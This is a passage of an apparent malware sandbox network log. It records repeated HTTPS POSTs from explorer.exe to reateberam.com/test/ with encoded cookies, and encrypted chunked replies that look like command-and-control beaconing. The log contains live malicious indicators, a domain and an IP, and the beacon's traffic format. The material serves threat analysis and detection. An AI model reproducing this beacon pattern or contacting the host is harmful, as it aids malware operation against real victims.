2024-12-02 17:45:55 UTC	347	IN	Data Raw: 31 35 34 0d 0a 50 69 69 59 51 4d 65 79 32 34 70 67 59 52 58 51 6a 47 50 6b 67 33 4e 4b 4d 6b 2f 65 42 43 50 43 62 50 65 36 76 69 37 49 59 57 6d 63 70 68 53 47 70 42 36 79 69 4a 69 56 6a 41 31 6e 4a 6b 55 70 66 4a 58 70 37 46 38 67 41 62 57 32 73 36 6c 47 74 35 65 73 70 73 45 32 37 45 35 63 47 32 64 4d 36 63 65 67 66 57 34 71 63 32 38 7a 62 6b 57 36 72 5a 69 4a 43 43 4b 59 76 6e 64 52 49 35 30 4a 38 37 67 2f 30 6c 47 34 2b 4c 32 58 58 53 6c 36 73 52 2b 69 58 54 6e 2f 4b 63 45 34 41 4f 6a 6c 4a 52 74 2b 61 62 62 41 63 33 49 6b 35 73 74 42 36 6c 54 63 43 78 74 47 37 45 77 31 4e 56 34 50 50 49 6e 4d 66 61 48 38 63 30 69 6a 4e 6a 4f 6c 54 58 6e 53 66 55 68 43 66 32 33 75 30 51 35 36 57 62 41 57 67 4e 50 59 6b 71 39 42 61 4e 61 50 75 49 6a 38 41 73 31 53 51 5a Data Ascii: 154PiiYQMey24pgYRXQjGPkg3NKMk/eBCPCbPe6vi7IYWmcphSGpB6yiJiVjA1nJkUpfJXp7F8gAbW2s6lGt5espsE27E5cG2dM6cegfW4qc28zbkW6rZiJCCKYvndRI50J87g/0lG4+L2XXSl6sR+iXTn/KcE4AOjlJRt+abbAc3Ik5stB6lTcCxtG7Ew1NV4PPInMfaH8c0ijNjOlTXnSfUhCf23u0Q56WbAWgNPYkq9BaNaPuIj8As1SQZ
2024-12-02 17:45:55 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	50012	172.67.217.190	443	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 17:45:57 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: aXLYGobmm+hkYwqczCa1wndZbQ+OUCzeHv2wuiTNZSDQnRHz02mh6/ifwEVsJjYieJqQlQFhBbSp4ONZ656uso19uGMKTT4Y4pL8ZwxOVRsYT1b/oc3OT2Lds2xKacxaoas4xR7ou6vSRzRo9ly1QGSXQIxpW7TuY0lAKOKSLzN8upkVsQ8= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: reateberam.com Content-Length: 0 Cache-Control: no-cache
2024-12-02 17:45:57 UTC	788	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 17:45:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ZMmzzuVWXJLx1U08e26PWtc3WnB66pQUdWv7X0qb6aC%2Fm00hMCijwymeYMnlsjcgsgobAI7ZkvD0AlsS1jxZeyRLyX5Nc0kDQf0ZhzwQTKXC2V0UD8akrCOemNEZUVMhoQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ebd2235ecc0ac9c-YYZ alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=15979&min_rtt=14151&rtt_var=8964&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2835&recv_bytes=1053&delivery_rate=101452&cwnd=32&unsent_bytes=0&cid=a716180102c5a160&ts=1231&x=0"
2024-12-02 17:45:57 UTC	343	IN	Data Raw: 31 35 30 0d 0a 4f 53 69 56 52 63 43 37 74 75 5a 6e 61 68 37 61 67 47 43 73 7a 58 52 4c 50 6b 6e 58 41 55 36 6f 61 76 69 79 75 53 65 41 57 42 2f 53 34 42 4b 4c 73 77 71 79 6b 63 66 54 75 44 64 74 49 45 38 70 65 2f 7a 6b 68 6c 38 67 43 37 57 2f 2f 61 49 4a 74 4a 4f 6f 70 63 42 52 37 43 5a 57 48 32 70 4c 35 34 2b 64 43 7a 5a 79 61 6d 34 44 44 55 58 69 70 59 53 4e 44 32 6a 45 71 79 6f 62 4d 49 77 4e 35 62 67 76 31 6b 37 33 39 76 79 5a 48 54 41 77 74 67 37 2b 4a 42 7a 46 45 73 73 79 44 4f 76 68 54 68 34 56 5a 62 2f 44 65 6a 30 6c 35 6f 35 47 35 6c 4c 64 5a 78 78 44 68 30 77 2f 4d 46 35 45 41 37 62 6c 49 75 66 36 58 54 57 4d 49 6e 61 74 56 58 36 63 49 68 51 63 50 79 58 6a 7a 41 68 31 54 71 4e 65 68 73 36 62 33 72 52 4a 4e 4e 62 46 78 76 62 69 50 50 42 58 52 4a Data Ascii: 150OSiVRcC7tuZnah7agGCszXRLPknXAU6oaviyuSeAWB/S4BKLswqykcfTuDdtIE8pe/zkhl8gC7W//aIJtJOopcBR7CZWH2pL54+dCzZyam4DDUXipYSND2jEqyobMIwN5bgv1k739vyZHTAwtg7+JBzFEssyDOvhTh4VZb/Dej0l5o5G5lLdZxxDh0w/MF5EA7blIuf6XTWMInatVX6cIhQcPyXjzAh1TqNehs6b3rRJNNbFxvbiPPBXRJ
2024-12-02 17:45:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	50013	172.67.217.190	443	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 17:45:59 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: aXLYGobmm+hkYgqczCa1wndZbQ+OUCzeHv2wuiTNZSDQnRHz02mh6/ifwEVsJjYieJqQlQFhBbSp4ONZ656uso19uGMKTT4Y4pL8ZwxOVRsYT1b/oc3OT2Lds2xKacxaoas4xR7ou6vSRzRo9ly1QGSXQIxpW7TuY0lAKOKSLzN8upkVsQ8= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: reateberam.com Content-Length: 0 Cache-Control: no-cache
2024-12-02 17:46:00 UTC	793	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 17:45:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BVTh6djcY6zsZEsQdKJgfDwsWbjQSFfGDwd7%2B8D5VWViPBXb7K6HI6yh05WuOENcFl17tMrVK16QDcEXlBqWpI2aOnxYjXiwI5IMroBXcfDBIF6%2BVv4gH95e%2FfIh3hw1Aw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ebd22439b15a214-YYZ alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=13987&min_rtt=13971&rtt_var=5272&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2836&recv_bytes=1053&delivery_rate=207062&cwnd=32&unsent_bytes=0&cid=4fe64cfc75a60d2b&ts=787&x=0"
2024-12-02 17:46:00 UTC	343	IN	Data Raw: 31 35 30 0d 0a 50 43 71 62 54 4d 71 33 30 49 70 75 61 78 76 65 67 6d 4c 6f 67 33 39 50 50 45 72 52 42 43 66 43 61 50 2b 32 76 43 62 4c 5a 32 6d 63 70 68 53 47 70 42 36 79 69 4a 69 56 6a 41 31 6d 4a 6b 4d 71 66 5a 62 6b 37 46 30 67 44 37 65 36 75 4b 4a 47 74 5a 65 6f 6f 63 41 38 37 30 35 64 47 57 4e 4d 37 73 47 6f 66 57 34 71 63 32 38 7a 62 6b 57 36 72 5a 69 4a 43 43 4b 59 76 6e 64 52 49 35 30 4a 38 37 67 2f 30 6c 47 34 2b 4c 32 58 58 53 6c 36 73 52 2b 69 58 54 6e 2f 4b 63 30 34 42 75 33 6a 49 48 4d 51 62 37 58 43 65 33 51 6c 71 34 52 47 37 31 72 66 43 52 41 70 69 6b 67 2b 4e 31 38 49 4f 73 43 39 65 76 37 37 62 56 65 4d 65 33 36 78 55 58 6e 57 66 67 46 58 66 79 62 6c 32 51 42 68 53 72 63 56 6c 34 2b 56 6e 71 30 44 4d 38 65 5a 76 39 50 65 42 66 42 57 52 70 Data Ascii: 150PCqbTMq30IpuaxvegmLog39PPErRBCfCaP+2vCbLZ2mcphSGpB6yiJiVjA1mJkMqfZbk7F0gD7e6uKJGtZeoocA8705dGWNM7sGofW4qc28zbkW6rZiJCCKYvndRI50J87g/0lG4+L2XXSl6sR+iXTn/Kc04Bu3jIHMQb7XCe3Qlq4RG71rfCRApikg+N18IOsC9ev77bVeMe36xUXnWfgFXfybl2QBhSrcVl4+Vnq0DM8eZv9PeBfBWRp
2024-12-02 17:46:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	50014	172.67.217.190	443	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 17:46:01 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: aXLYGobmm+hkYQqczCa1wndZbQ+OUCzeHv2wuiTNZSDQnRHz02mh6/ifwEVsJjYieJqQlQFhBbSp4ONZ656uso19uGMKTT4Y4pL8ZwxOVRsYT1b/oc3OT2Lds2xKacxaoas4xR7ou6vSRzRo9ly1QGSXQIxpW7TuY0lAKOKSLzN8upkVsQ8= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: reateberam.com Content-Length: 0 Cache-Control: no-cache
2024-12-02 17:46:02 UTC	801	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 17:46:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IV2j5ABp0%2FWXjmscG6ZqU%2BW2XGZCTRY4ozL33rvft%2ByQnmUD8JFaDloNQGZ1SuGxqm1%2BdYSIO96XJSmEWY%2BoAvlJznZtBO2SSs0r83TvFGs7Um%2BLAmC%2F6SCLZZNAtT%2BBwA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ebd225118af53fb-YYZ alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=15393&min_rtt=14200&rtt_var=7711&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2835&recv_bytes=1053&delivery_rate=122968&cwnd=32&unsent_bytes=0&cid=09caf0d190581e18&ts=697&x=0"
2024-12-02 17:46:02 UTC	343	IN	Data Raw: 31 35 30 0d 0a 4d 69 71 63 52 63 61 7a 32 59 70 75 5a 42 2f 66 6a 47 54 6d 67 33 64 4e 50 6b 6e 54 42 69 4c 43 62 76 61 7a 76 53 54 4b 5a 32 6d 63 70 68 53 47 70 42 36 79 69 4a 69 56 6a 41 31 72 4a 6b 51 73 65 70 50 69 37 46 63 6d 44 62 53 35 74 71 56 47 74 70 65 74 6f 73 77 34 36 6b 35 54 48 6d 4e 4e 35 38 61 6b 66 57 34 71 63 32 38 7a 62 6b 57 36 72 5a 69 4a 43 43 4b 59 76 6e 64 52 49 35 30 4a 38 37 67 2f 30 6c 47 34 2b 4c 32 58 58 53 6c 36 73 52 2b 69 58 54 6e 2f 4b 63 73 78 42 65 33 68 4a 58 4d 51 62 72 50 48 65 33 49 73 71 34 4a 48 36 6c 54 66 43 68 6b 70 68 6b 77 2b 4e 31 6b 4a 50 63 43 39 65 76 37 37 62 56 65 4d 65 33 36 78 55 58 6e 57 66 67 46 58 66 79 62 6c 32 51 42 68 53 72 63 56 6c 34 2b 56 6e 71 30 44 4d 38 65 5a 76 39 50 65 42 66 4a 61 54 70 Data Ascii: 150MiqcRcaz2YpuZB/fjGTmg3dNPknTBiLCbvazvSTKZ2mcphSGpB6yiJiVjA1rJkQsepPi7FcmDbS5tqVGtpetosw46k5THmNN58akfW4qc28zbkW6rZiJCCKYvndRI50J87g/0lG4+L2XXSl6sR+iXTn/KcsxBe3hJXMQbrPHe3Isq4JH6lTfChkphkw+N1kJPcC9ev77bVeMe36xUXnWfgFXfybl2QBhSrcVl4+Vnq0DM8eZv9PeBfJaTp
2024-12-02 17:46:02 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	50015	172.67.217.190	443	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 17:46:04 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: aXLYGobmm+hkYAqczCa1wndZbQ+OUCzeHv2wuiTNZSDQnRHz02mh6/ifwEVsJjYieJqQlQFhBbSp4ONZ656uso19uGMKTT4Y4pL8ZwxOVRsYT1b/oc3OT2Lds2xKacxaoas4xR7ou6vSRzRo9ly1QGSXQIxpW7TuY0lAKOKSLzN8upkVsQ8= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: reateberam.com Content-Length: 0 Cache-Control: no-cache
2024-12-02 17:46:04 UTC	789	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 17:46:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=my4VKWZqIDHRv7sOI8a1OnBh3kH8ecaJoJpKZBekFlYAcQ3xHMOM%2FHm5lLbgNk0fmGu%2BZjKTnodtwIXA6K6A2oq4BDzOLs5vuSjoOuz46QUVsykMKkgcxVJygfXySgWpkA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ebd2261d80dab03-YYZ alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=14194&min_rtt=14190&rtt_var=5330&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2835&recv_bytes=1053&delivery_rate=205243&cwnd=32&unsent_bytes=0&cid=d5bc2c68ed21cfe4&ts=703&x=0"
2024-12-02 17:46:04 UTC	339	IN	Data Raw: 31 34 63 0d 0a 50 79 32 66 51 4d 65 36 32 6f 70 6b 5a 42 33 61 67 57 48 6b 67 33 4e 4f 4f 55 7a 57 44 43 48 43 5a 2f 32 31 76 69 44 4b 5a 6d 6d 63 70 68 53 47 70 42 36 79 69 4a 69 56 6a 41 31 74 49 45 59 6a 63 70 72 6c 37 46 67 6b 43 37 47 32 73 61 4e 47 74 5a 43 76 6f 4d 73 38 36 45 35 53 47 6d 42 4c 36 38 53 69 66 57 34 71 63 32 38 7a 62 6b 57 36 72 5a 69 4a 43 43 4b 59 76 6e 64 52 49 35 30 4a 38 37 67 2f 30 6c 47 34 2b 4c 32 58 58 53 6c 36 73 52 2b 69 58 54 6e 2f 4b 63 34 77 42 65 33 72 4a 52 35 2b 62 62 48 43 66 33 6b 72 34 4d 74 42 35 31 48 66 43 52 39 48 37 45 67 37 4e 6c 49 4d 4f 4d 43 39 65 76 37 37 62 56 65 4d 65 33 36 78 55 58 6e 57 66 67 46 58 66 79 62 6c 32 51 42 68 53 72 63 56 6c 34 2b 56 6e 71 30 44 4d 38 65 5a 76 39 50 65 42 66 46 52 51 4a Data Ascii: 14cPy2fQMe62opkZB3agWHkg3NOOUzWDCHCZ/21viDKZmmcphSGpB6yiJiVjA1tIEYjcprl7FgkC7G2saNGtZCvoMs86E5SGmBL68SifW4qc28zbkW6rZiJCCKYvndRI50J87g/0lG4+L2XXSl6sR+iXTn/Kc4wBe3rJR5+bbHCf3kr4MtB51HfCR9H7Eg7NlIMOMC9ev77bVeMe36xUXnWfgFXfybl2QBhSrcVl4+Vnq0DM8eZv9PeBfFRQJ
2024-12-02 17:46:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	50016	172.67.217.190	443	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 17:46:06 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: aXLYGobmm+hkZwqczCa1wndZbQ+OUCzeHv2wuiTNZSDQnRHz02mh6/ifwEVsJjYieJqQlQFhBbSp4ONZ656uso19uGMKTT4Y4pL8ZwxOVRsYT1b/oc3OT2Lds2xKacxaoas4xR7ou6vSRzRo9ly1QGSXQIxpW7TuY0lAKOKSLzN8upkVsQ8= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: reateberam.com Content-Length: 0 Cache-Control: no-cache
2024-12-02 17:46:07 UTC	793	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 17:46:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=f5LmrqrYTK6bIGA9o0QYyy6T08O31z3JYJ%2BccO8idmwqA4mupz%2BEddJQC1SUa4fiU%2BpxK%2Bxm08i5vfSqSC9kiGGXKKqA37k21zT6sNxC7jH9BTOwUX5xb7l090EForg5fA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ebd226fac87a216-YYZ alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=16260&min_rtt=14019&rtt_var=6858&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2836&recv_bytes=1053&delivery_rate=208288&cwnd=32&unsent_bytes=0&cid=c1a438e821262c35&ts=810&x=0"
2024-12-02 17:46:07 UTC	343	IN	Data Raw: 31 35 30 0d 0a 4f 79 53 56 54 4d 57 37 33 49 70 76 59 68 33 66 67 57 47 73 79 6e 5a 47 4f 6b 33 52 41 30 36 71 61 50 61 7a 75 69 50 4f 4b 52 69 62 37 78 75 50 6f 41 32 31 6a 34 62 55 69 7a 52 75 49 55 63 73 65 35 43 4f 69 31 34 67 41 62 43 37 74 75 30 4c 73 35 43 6f 72 63 6f 38 67 69 56 56 47 32 70 45 37 63 58 73 44 47 6c 31 64 48 45 73 51 51 6e 32 75 59 53 4a 44 43 48 52 71 33 63 4d 4e 4a 6b 63 34 72 38 34 78 55 4b 30 75 2f 43 62 58 32 73 68 6f 41 6d 6c 42 68 76 34 47 38 41 7a 41 4f 72 6e 4a 48 4d 59 61 4c 58 42 66 48 49 71 71 34 5a 44 37 46 44 62 41 42 38 70 67 55 6f 35 4d 46 49 50 4f 4d 43 39 65 76 37 37 62 56 65 4d 65 33 36 78 55 58 6e 57 66 67 46 58 66 79 62 6c 32 51 42 68 53 72 63 56 6c 34 2b 56 6e 71 30 44 4d 38 65 5a 76 39 50 65 42 66 5a 57 54 70 Data Ascii: 150OySVTMW73IpvYh3fgWGsynZGOk3RA06qaPazuiPOKRib7xuPoA21j4bUizRuIUcse5COi14gAbC7tu0Ls5Corco8giVVG2pE7cXsDGl1dHEsQQn2uYSJDCHRq3cMNJkc4r84xUK0u/CbX2shoAmlBhv4G8AzAOrnJHMYaLXBfHIqq4ZD7FDbAB8pgUo5MFIPOMC9ev77bVeMe36xUXnWfgFXfybl2QBhSrcVl4+Vnq0DM8eZv9PeBfZWTp
2024-12-02 17:46:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.5	50017	172.67.217.190	443	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 17:46:08 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: aXLYGobmm+hkZgqczCa1wndZbQ+OUCzeHv2wuiTNZSDQnRHz02mh6/ifwEVsJjYieJqQlQFhBbSp4ONZ656uso19uGMKTT4Y4pL8ZwxOVRsYT1b/oc3OT2Lds2xKacxaoas4xR7ou6vSRzRo9ly1QGSXQIxpW7TuY0lAKOKSLzN8upkVsQ8= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: reateberam.com Content-Length: 0 Cache-Control: no-cache
2024-12-02 17:46:09 UTC	790	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 17:46:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LK3nItjYEIFNH9xjAXdoiSRR%2BddkR4Nrs2%2FyQNkbwWoEqeeN7y4upSsKqCBIawXtr2HPWqL5%2FZkBT4jaRr5QL11z9aSDAibmweWEbeUEulSuieqtkn5MA9aEPPpi9RN8YQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ebd227d08f618fa-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1635&min_rtt=1627&rtt_var=626&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2835&recv_bytes=1053&delivery_rate=1725768&cwnd=128&unsent_bytes=0&cid=f910c219f97c1cfe&ts=766&x=0"
2024-12-02 17:46:09 UTC	343	IN	Data Raw: 31 35 30 0d 0a 50 69 57 66 54 63 4f 77 74 75 52 6c 5a 78 37 61 68 6d 36 73 79 33 4e 49 4f 45 72 66 42 55 36 72 5a 76 36 36 76 79 2f 46 4b 52 69 62 37 78 75 50 6f 41 32 31 6a 34 62 55 69 7a 4e 70 4a 45 41 6f 66 70 75 4f 67 56 67 6b 44 37 61 39 75 4f 30 4f 73 35 65 70 70 63 45 2b 67 69 68 51 47 6d 56 45 36 73 48 73 44 47 6c 31 64 48 45 73 51 51 6e 32 75 59 53 4a 44 43 48 52 71 33 63 4d 4e 4a 6b 63 34 72 38 34 78 55 4b 30 75 2f 43 62 58 32 73 68 6f 41 6d 6c 42 68 76 34 45 4d 41 34 42 65 37 68 54 68 51 57 61 37 62 43 66 48 4e 68 37 6f 5a 4f 37 31 44 62 44 33 5a 42 68 55 30 30 4f 56 4d 41 63 72 47 36 4a 66 6e 6c 63 6e 6a 42 4e 6d 71 74 55 58 33 56 4e 78 52 58 4e 43 33 74 31 78 74 79 54 62 51 43 79 38 4b 5a 6e 4f 39 59 49 74 47 65 35 50 48 5a 4e 2f 46 53 51 35 Data Ascii: 150PiWfTcOwtuRlZx7ahm6sy3NIOErfBU6rZv66vy/FKRib7xuPoA21j4bUizNpJEAofpuOgVgkD7a9uO0Os5eppcE+gihQGmVE6sHsDGl1dHEsQQn2uYSJDCHRq3cMNJkc4r84xUK0u/CbX2shoAmlBhv4EMA4Be7hThQWa7bCfHNh7oZO71DbD3ZBhU00OVMAcrG6JfnlcnjBNmqtUX3VNxRXNC3t1xtyTbQCy8KZnO9YItGe5PHZN/FSQ5
2024-12-02 17:46:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.5	50018	172.67.217.190	443	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 17:46:10 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: aXLYGobmm+hkZQqczCa1wndZbQ+OUCzeHv2wuiTNZSDQnRHz02mh6/ifwEVsJjYieJqQlQFhBbSp4ONZ656uso19uGMKTT4Y4pL8ZwxOVRsYT1b/oc3OT2Lds2xKacxaoas4xR7ou6vSRzRo9ly1QGSXQIxpW7TuY0lAKOKSLzN8upkVsQ8= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: reateberam.com Content-Length: 0 Cache-Control: no-cache
2024-12-02 17:46:11 UTC	790	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 17:46:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9oQxTHnI3RPbdysIKgmerYxZVYwKEHymKmF2KZVBHmjp31vpLKg237fou1ldQyakqcu4wCT%2B5eSLAnEsXmBvss6%2BGKZIsrNtQqpPthOb5tBm90oq3kr%2BnVaJXjlkfYrAKw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ebd2289bb35236b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1892&min_rtt=1879&rtt_var=714&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2834&recv_bytes=1053&delivery_rate=1554018&cwnd=172&unsent_bytes=0&cid=6ff7e37b1905ff25&ts=756&x=0"
2024-12-02 17:46:11 UTC	343	IN	Data Raw: 31 35 30 0d 0a 4f 53 6d 63 51 63 47 77 33 6f 70 69 5a 52 37 63 6a 47 48 6b 67 33 35 4c 4f 30 6e 57 44 53 50 43 62 66 6d 30 76 69 58 46 5a 32 6d 63 70 68 53 47 70 42 36 79 69 4a 69 56 6a 41 31 70 4c 30 34 71 63 35 62 6e 37 46 67 6b 44 4c 71 2b 74 4b 6c 47 74 35 61 6e 70 4d 41 33 35 45 35 56 47 32 4e 4c 36 38 72 73 44 47 6c 31 64 48 45 73 51 51 6e 32 75 59 53 4a 44 43 48 52 71 33 63 4d 4e 4a 6b 63 34 72 38 34 78 55 4b 30 75 2f 43 62 58 32 73 68 6f 41 6d 6c 42 68 76 34 45 4d 73 7a 42 75 4c 68 4a 58 4d 55 61 4c 37 49 66 58 6b 76 71 34 4a 42 37 46 58 55 41 52 6b 70 68 45 38 2b 4d 56 4d 49 50 63 43 39 65 76 37 37 62 56 65 4d 65 33 36 78 55 58 6e 57 66 67 46 58 66 79 62 6c 32 51 42 68 53 72 63 56 6c 34 2b 56 6e 71 30 44 4d 38 65 5a 76 39 50 65 42 66 4e 56 51 35 Data Ascii: 150OSmcQcGw3opiZR7cjGHkg35LO0nWDSPCbfm0viXFZ2mcphSGpB6yiJiVjA1pL04qc5bn7FgkDLq+tKlGt5anpMA35E5VG2NL68rsDGl1dHEsQQn2uYSJDCHRq3cMNJkc4r84xUK0u/CbX2shoAmlBhv4EMszBuLhJXMUaL7IfXkvq4JB7FXUARkphE8+MVMIPcC9ev77bVeMe36xUXnWfgFXfybl2QBhSrcVl4+Vnq0DM8eZv9PeBfNVQ5
2024-12-02 17:46:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.5	50019	172.67.217.190	443	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 17:46:12 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: aXLYGobmm+hkZAqczCa1wndZbQ+OUCzeHv2wuiTNZSDQnRHz02mh6/ifwEVsJjYieJqQlQFhBbSp4ONZ656uso19uGMKTT4Y4pL8ZwxOVRsYT1b/oc3OT2Lds2xKacxaoas4xR7ou6vSRzRo9ly1QGSXQIxpW7TuY0lAKOKSLzN8upkVsQ8= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: reateberam.com Content-Length: 0 Cache-Control: no-cache
2024-12-02 17:46:13 UTC	789	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 17:46:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8WSlgi3X7Jaf6FEPyIUYaASL7O1jCFVXrcMV5CbMOkgp%2BIjOmZHW%2B1LicBbKJ5tOAJvBYXQVew7fW3g8QTGyHbkB71GU02LmihuvNthWX6xFUh9fDIKUrCEld9t5CYJzTA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ebd22976a5da250-YYZ alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=13709&min_rtt=13702&rtt_var=5153&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2834&recv_bytes=1053&delivery_rate=212147&cwnd=32&unsent_bytes=0&cid=0a9aca3a71fe5733&ts=700&x=0"
